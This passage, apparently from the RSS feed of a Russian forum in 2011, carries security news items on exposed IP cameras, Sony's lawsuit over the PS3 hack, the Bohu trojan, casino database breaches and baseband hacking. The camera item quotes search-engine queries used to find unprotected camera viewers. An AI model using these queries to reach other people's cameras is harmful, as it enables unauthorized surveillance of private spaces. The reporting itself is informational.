			<description>&lt;p&gt;За последние несколько десятков лет мы уже привыкли что, за той или иной сферой общественной жизни ведется наблюдение. Это происходит повсеместно : в магазинах, на улицах, в различных учреждениях. Мы уже просто не замечаем установленных камер. Некоторые из нас относятся к этому спокойно, в то время как другие серьезно обеспокоены. Однако принадлежим ли мы к тем или другим, очень неплохо было бы осознавать последствия, к которым может привести подобные незащищенные системы наблюдения.&lt;/p&gt;
						&lt;p&gt;Раньше системы наблюдения состояли из аналоговых камер, связанных проводами с центральной регистрирующей системой. Подобный способ был очень дорогостоящий и требовал много времени. В конечном итоге с развитием и использованием IP камер, наблюдение стало проще и дешевле.&lt;/p&gt;
						&lt;p&gt;Как объясняет Том Коннор из Ars technica, новые камеры, обладая своими собственными IP адресами, передают изображение прямо в сеть. При таком способе наблюдения просто нет необходимости в центрах управления и устройствах записи цифрового видео. За них всю работу по управлению камерами и записью делает сетевой видеорегистратор.&lt;/p&gt;
						&lt;p&gt;Но основной задачей, которую все еще надо решить, является безопасность. Аналоговые системы наблюдения было сложно взломать людям, у которых не хватало соответствующих знаний, в то время как IP камеры, имея IP адреса, могут быть легко отслежены, а транслируемое ими видео может быть доступно всем у кого есть хоть какое-то знание компьютера и кто знает, что забить в Google.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Как только IP камера установлена и работает в режиме онлайн, пользователи могут получить к ней доступ, используя свои внешние или внутренние IP адреса, а также путем присоединения к ее сетевому видеорегистратору (NVR)&amp;quot;, - поясняет Коннор. Так или иначе, пользователям всего лишь нужно загрузить простое браузерное приложение (обычно это Flash, Java, или ActiveX), которое позволит просматривать живое или записанное видео, контролировать камеры или определять их настройки.&lt;/p&gt;
						&lt;p&gt;Если искать имена и модели камер в поисковике при помощи ключевых параметров, таких например как &amp;quot;intitle&amp;quot;, &amp;quot;inurl&amp;quot;, &amp;quot;intext&amp;quot; и пр., можно легко найти ссылки на страницы удаленного просмотра камер. Поисковые комбинации, такие как &amp;quot;intext: MOBOTIX M10&amp;quot;, &amp;quot;intext: Open Menu&amp;quot; и &amp;quot;intitle: Live View / - AXIS 206M&amp;quot; доказывают работоспособность данного метода.&lt;/p&gt;
						&lt;p&gt;Коннор все так и сделал. Он вооружился списком и начал копипастить его в поисковик. Ему удалось найти множество незащищенных камер по всему миру. Среди прочего, он понаблюдал за заснеженными деревнями, университетами, городскими площадями, врачебными кабинетами, аквариумами и магазинами.&lt;/p&gt;
						&lt;p&gt;В особой защите некоторых из этих камер не было острой необходимости. Однако у Коннора есть опасения, что в ряде случаев есть повод для беспокойства. В частности камеры в магазинах могут предоставить бесценную информацию для людей, планирующих кражу или другое противозаконное действие.&lt;/p&gt;
						&lt;p&gt;Ему также удалось получить доступ к трем городским камерам, которые управляют светофором. И хотя он не менял никаких настроек, он с легкостью мог бы это сделать. А если он мог это сделать, то и кто-нибудь другой также смог бы это осуществить. Страшно подумать, не так ли?&lt;/p&gt;
						&lt;p&gt;К счастью для всех кому нужны подобные системы наблюдения, в мануале есть инструкция, которая поможет легко и быстро защитить камеры. Как DVR так и NVR оснащены встроенными настройками безопасности, сконфигурировать которые можно в считанные минуты, что в свою очередь заблокирует доступ всем, кому его иметь не следует. Также, простая смена дефолтного логина и пароля может творить чудеса.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:18:08 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=7#p7</guid>
		</item>
		<item>
			<title>Sony подала в суд на взломщиков PlayStation 3</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=6#p6</link>
			<description>&lt;p&gt;Sony натравили адвокатов на хакеров, которые нашли способ запустить неподписанный код на приставке PlayStation 3 без применения внешних устройств. Взлом стал возможен из-за обнаружения закрытого ключа Sony, который использовался для подписи своей продукции и который был продемонстрирован группой fail0verflow на Chaos Communication Congress в Берлине во второй половине прошлого месяца.&lt;/p&gt;
						&lt;p&gt;Неуклюжее шифрование Sony привело к тому, что каждый получил возможность обойти проверку авторских прав и подписать свой собственный код, чтобы он работал на приставке.&lt;/p&gt;
						&lt;p&gt;Группа fail0verflow опубликовала только видео-демонстрацию. Видео содержало подробности о ключе шифрования Sony. Группа опубликовала заявление, что их действия были мотивированы только желанием запускать Linux и другие операционные системы на приставке, а не для пиратства видеоигр. &lt;/p&gt;
						&lt;p&gt;Еще один хакер – Джордж Хотц (по прозвищу geohot) - выпустил модифицированную прошивку, основанную на когда-то секретном ключе Sony, чем дал энтузиастам возможность запускать самодельное программное обеспечение на приставке. Правда Хотцу, первому хакеру, которому удалось взломать iPhone, удалось произвести взлом используя комбинацию дополнительного железа и программного обеспечения.&lt;/p&gt;
						&lt;p&gt;Хотя первоначальным назначением взлома было дать энтузиастам возможность запускать Linux на приставке, тот же самый способ может быть использован для запуска пиратских игр, что и послужило причиной для принятия решения Sony начать судебное разбирательство. Sony предъявила обвинение в нарушении авторского права и компьютерном преступлении и fail0verflow, и geohot’у.&lt;/p&gt;
						&lt;p&gt;Фирма-гигант по производству бытовой техники и электроники пытается добиться судебного постановления на запрет публикации кода, который, как они утверждают, ослабил контроль авторских прав и увеличил пиратство.&lt;/p&gt;
						&lt;p&gt;Хотц, 21 год, рассказал BBC, что обвинения Sony не имеют оснований. &amp;quot;Я говорил с юристом и чувствую себя уверенно, зная, что обвинения Sony против меня ни на чём не основаны&amp;quot;, - сказал он.&lt;/p&gt;
						&lt;p&gt;Сайт fail0verflow был закрыт ночью – было оставлено только сообщение &amp;quot;Sony осудила нас&amp;quot; вместе с заявлением, обозначающим их позицию.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Мы никогда не поддерживали и не признавали пиратство видеоигр, так же, как и не потворствовали ему&amp;quot;, - было сказано там. &amp;quot;Мы не публиковали никаких ключей шифрования или ключей подписи. Мы не опубликовывали никакого кода Sony или кода, созданного на основе кода Sony&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Группа также опубликовала судебные документы, поданные Sony против них.&lt;/p&gt;
						&lt;p&gt;Хотц также опубликовал судебный иск Sony на сайте. Помимо подачи судебных документов, в Sony могут попытаться восстановить контроль над ситуацией путем обновления прошивки приставки PS3 через Интернет. Исследователь GFI Security Chris Boyd, игрок в видеоигры со стажем, сказал, что просто выпуская&amp;#160; обновления основную проблему не решить, но можно убрать её симптомы. &lt;/p&gt;
						&lt;p&gt;&amp;quot;Обновление может стать кошмаром – теоретически они могут заблокировать всё, что использует текущие ключи и заменить текущие подписи новыми, но нет гарантии повторения ситуации&amp;quot;.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Что касается вопросов пиратства, Sony могут попросить разработчиков игр не архивировать информацию на blu-ray дисках, что может приостановить пиратов, которые не хотят скачивать 50 гигабайт каждый раз, когда они хотят завладеть игрой. В то время как приставки текущего поколения уже доживают свой срок, Sony могут приободрить себя мыслью, что все остальные приставки были взломаны намного ранее и по-прежнему очень даже хорошо продаются&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:17:21 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=6#p6</guid>
		</item>
		<item>
			<title>Китайский троян блокирует облачные системы защиты безопасности</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=5#p5</link>
			<description>&lt;p&gt;Злоумышленники выпустили троян, специально разработанный для выведения из строя &amp;quot;облачных&amp;quot; антивирусных защитных механизмов.&lt;/p&gt;
						&lt;p&gt;Вирус Bohu блокирует соединения инфицированных устройств на основе Windows с облачными антивирусными сервисами, которые созданы с целью защиты системы. Разработчики malware давно задействовали способы отключения компонентов антивирусной защиты или блокировки доступа к антивирусным сайтам с инфицированных компьютеров. Однако все больше и больше фирм по обеспечению безопасности начинают использовать &amp;quot;облачные&amp;quot; антивирусы, потому что они предлагают двойное преимущество - меньшие затраты (вся тяжелая работа делается на облачных серверах, а не на клиенте) и более быстрое реагирование на растущее число угроз. Bohu отражает тот факт, что &amp;quot;плохие ребята&amp;quot; опять адаптировались к изменениям, внесенным защитниками безопасности.&lt;/p&gt;
						&lt;p&gt;Bohu, который был замечен исследователями вирусов, работающими на Microsoft в Китае, спроектирован, чтобы блокировать доступ к облачным сетевым услугам от Kingsoft, Qihoo и Rising. Все три фирмы расположены в Китае.&lt;/p&gt;
						&lt;p&gt;Вирус притворяется видео-кодеком, что является обычным трюком разработчиков вредоносных программ во всём мире. В установленном виде Bohu приводит в действие фильтр, который блокирует трафик между инфицированными компьютерами и поставщиками антивирусных услуг. Вирус также включает в себя алгоритмы сокрытия своего присутствия на инфицированных машинах.&lt;/p&gt;
						&lt;p&gt;Исследователи безопасности Microsoft описали Bohu, как &amp;quot;произведение искусства первой волны вирусов, нацеленных на облачную технологию защиты&amp;quot; в детальном описании угрозы на блоге Microsoft Malware Protection Center. &lt;/p&gt;
						&lt;p&gt;Алан Бентли, вице-президент Lumension, отметил, что подход, использованный Bohu, скорее всего будет скопирован другими видами троянов, причем как в Китае, так и где угодно еще.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Bohu – не просто очередной вирус&amp;quot;, - сказал Бентли. &amp;quot;Это первый вирус, сделанный для атак антивирусных технологий, которые защищают облако. Добавьте к этому то, что он был разработан в Китае, и мы увидим новую волну направленных кибератак&amp;quot;.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Теперь плохие ребята атакуют защитные механизмы, поэтому необходим другой подход к защите данных. Мы в очередной раз убедились в том, что опора на антивирусы – неэффективна&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:16:12 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=5#p5</guid>
		</item>
		<item>
			<title>Хакеры получают выгоду от взлома баз данных казино</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=4#p4</link>
			<description>&lt;p&gt;Хакеры выбрали мишенью клиентские базы данных казино в Лас-Вегасе с целью получения доступа к личной финансовой информации или кражи заработанных игроками клубных очков, говорят регуляторы игорного бизнеса.&lt;/p&gt;
						&lt;p&gt;Nevada Gaming Control Board (комиссия штата по контролю за азартными играми) расследует несколько случаев получения доступа хакерами к клиентским базам данных казино, сообщил Джерри Маклинг, глава исполнительного отдела комиссии. &amp;quot;Мы наблюдали множество случаев обмана клубных игроков и воровства очков&amp;quot;, - сказал он.&lt;/p&gt;
						&lt;p&gt;Программы клубов для поощрения игроков являются законными программами, которые обеспечивают бонусы для постоянных клиентов казино; эти бонусы - очки - могут быть использованы для получения таких услуг как комната в гостиннице, еда, шоу, и даже переведены в наличные деньги.&lt;/p&gt;
						&lt;p&gt;Комиссия отправила письмо казино в декабре, напоминая, о наличии государственных законов о конфиденциальности данных клиентов и обязанности казино защищать клиентскую информацию и следить за безопасностью клиентской базы данных.&lt;/p&gt;
						&lt;p&gt;&amp;quot;Что касается этих баз данных, комиссия за последнее время расследовала многочисленные инциденты, при которых такие базы данных были взломаны, и существовала возможность кражи личных данных. Кроме того, с развитием технологических преимуществ и все большим увеличением объема информации, хранимой в этих базах данных, они, несомненно, станут более привлекательной мишенью для киберпреступников….Все эти вещи создают необходимость в более мощных продуктах защиты и периодических обзорах существующих политик, чтобы выполнить требования существующих законов, созданных для обеспечения защиты такой информации от несанкционированного доступа&amp;quot;, - сообщалось в письме.&lt;/p&gt;
						&lt;p&gt;Государственные власти, ответственные за игорный бизнес, также заинтересовались приложениями для смартфонов, позволяющими играть в казино виртуально, которые часто требуют от пользователей ввода персональных данных. Преступники также внедряются в эти приложения для получения доступа к финансовой информации о клиентах, отметила газета.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:15:31 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=4#p4</guid>
		</item>
		<item>
			<title>Microsoft выяснила причину потребления трафика WP7</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=3#p3</link>
			<description>&lt;p&gt;Корпорация Microsoft выяснила причину гигантского объема интернет-трафика, на который жаловались владельцы смартфонов на базе Windows Phone 7. Официальный ответ пресс-службы компании опубликовало издание Seattle Post-Intelligencer. &lt;/p&gt;
						&lt;p&gt;Оказалось, что причиной &amp;quot;накрутки&amp;quot; интернет-трафика стало неназванное стороннее приложение. Представители Microsoft заявили, что уже связались с его разработчиками и попросили внести изменения, которые приведут к снижению интернет-трафика. &lt;/p&gt;
						&lt;p&gt;Ранее стало известно, что некоторые владельцы смартфонов на базе мобильной платформы Microsoft получают неоправданно высокие счета за пользование мобильным интернетом. В частности, один пользователь заметил, что его смартфон отправил 50 гигабайт данных в день без его ведома. При этом соединение с мобильным интернетом осуществлялось даже в том случае, если смартфон уже был подключен к Сети по Wi-Fi. &lt;/p&gt;
						&lt;p&gt;Как заявил Microsoft, всего от некорректной работы приложения пострадали несколько процентов владельцев смартфонов на Windows Phone 7. Ранее Microsoft сообщала, что по всему миру было продано более 1,5 миллиона подобных смартфонов.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:14:42 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=3#p3</guid>
		</item>
		<item>
			<title>Baseband Hacking: новая эра взлома смартфонов</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=2#p2</link>
			<description>&lt;p&gt;Исследователь в области безопасности Ральф-Филипп Вайнманн говорит, что он нашел новый способ внедрения в мобильные устройства – при помощи поддельной базовой станции и уязвимостей, обнаруженных в прошивках микросхем, продаваемых фирмами Qualcomm и Infineon Technologies. Вайнманн продемонстрирует взлом на примере, как iPhone, так и на устройствах Android, на этой неделе во время конференции Black Hat в Вашингтоне.&lt;/p&gt;
						&lt;p&gt;Ранее попытки мобильного хакерства затрагивали операционную систему телефона или другое программное обеспечение, но этот взлом фокусируется на вторжении в телефонный процессор, который является оборудованием, посылающим радиосигналы и принимающим их с телефонных вышек. &lt;br /&gt;Подробности Baseband-взлома&lt;/p&gt;
						&lt;p&gt;В докладах IDG News Service и LinuxInsider, этот новый взлом описан в деталях. Короче говоря, это высокотехничный процесс, который требует установки поддельной телефонной вышки для связи с устройством-мишенью. В последние годы это было невыполнимым заданием по причине огромных затрат – десятки тысяч долларов. Но теперь, благодаря новому открытому программному обеспечению под названием OpenBTS, любой может установить вышку за $2 000, что равняется цене компьютерного оборудования. Мобильные компании также делают необходимое оборудование более доступным, путем предоставления потребителям фемтосот (маломощная и миниатюрная станция сотовой связи, предназначенная для обслуживания небольшой территории - одного офиса или квартиры) в попытке расширить мобильный охват. Такие фемтосоты, как 3G MicroCell от AT&amp;amp;T, даже менее дорогие; оборудование AT&amp;amp;T стоит всего лишь $150. &lt;/p&gt;
						&lt;p&gt;Для осуществления атаки Вайнманн устанавливает поддельный трансивер, который используется для отправки вредоносного кода при помощи радиосигнала на устройство, выбранное мишенью. Код использует уязвимость, обнаруженную в GSM/3GPP стеках baseband-процессоров телефонов. Вайнманн говорит, что такие организации, как GSM Association и European Telecommunications Standards Institute (Европейский институт по стандартизации в области телекоммуникаций) даже не рассматривали возможность такого рода атак. &lt;br /&gt;Нужно ли беспокоиться?&lt;/p&gt;
						&lt;p&gt;В дополнение к затратам на этот определенный вид взлома – он все-таки достаточно дорогой – код, который написал Вайнманн, является уникальным, поскольку он требует глубоких знаний устройства чипсета и лишь некоторые хакеры достаточно много знают об этом, гласит доклад IDG. &lt;/p&gt;
						&lt;p&gt;По существу, Вайнманн смог задать новый вектор развития в области взломов смартфонов, открыть поле деятельности, которое сейчас изучается небольшим количеством исследователей. В августе, например, Крис Пэйджет продемонстрировал спуфинг-атаку на хакерской конференции Defcon в Лас-Вегасе, после получения разрешения для этого от федерального агентства США по связи в последнюю минуту. Вероятно последователи Вайнманна смогут продолжить его работу, но на это уйдет достаточно времени.&lt;/p&gt;
						&lt;p&gt;Иными словами, это по-прежнему развивающаяся область для хакеров. &lt;/p&gt;
						&lt;p&gt;Слишком рано говорить о разновидностях этой новой техники взлома baseband hacking, но на данный момент эксперты в области безопасности говорят, что широкая публика не должна беспокоиться об атаках вроде этой в ближайшем будущем. &lt;/p&gt;
						&lt;p&gt;Согласно мнению консультанта безопасности фирмы Sophos Грэхама Клули, &amp;quot;Если бы кто-то хотел шпионить за вашими беседами по мобильному телефону, было бы легче обманным способом заставить пользователя установить приложение, которое является шпионом, или получить физический доступ к мобильному телефону для установки кода шпионского ПО&amp;quot;, - сказал он. &amp;quot;Я был бы удивлен, если бы кто-то приложил все усилия, которые предлагает для этого данный исследователь&amp;quot;.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 12:05:42 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=2#p2</guid>
		</item>
		<item>
			<title>Тестовое сообщение</title>
			<link>https://budonline.bbeasy.ru/viewtopic.php?pid=1#p1</link>
			<description>&lt;p&gt;Благодарим за выбор нашего сервиса!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Administrator)</author>
			<pubDate>Sun, 23 Jan 2011 11:24:08 +0300</pubDate>
			<guid>https://budonline.bbeasy.ru/viewtopic.php?pid=1#p1</guid>
		</item>
	</channel>
</rss>
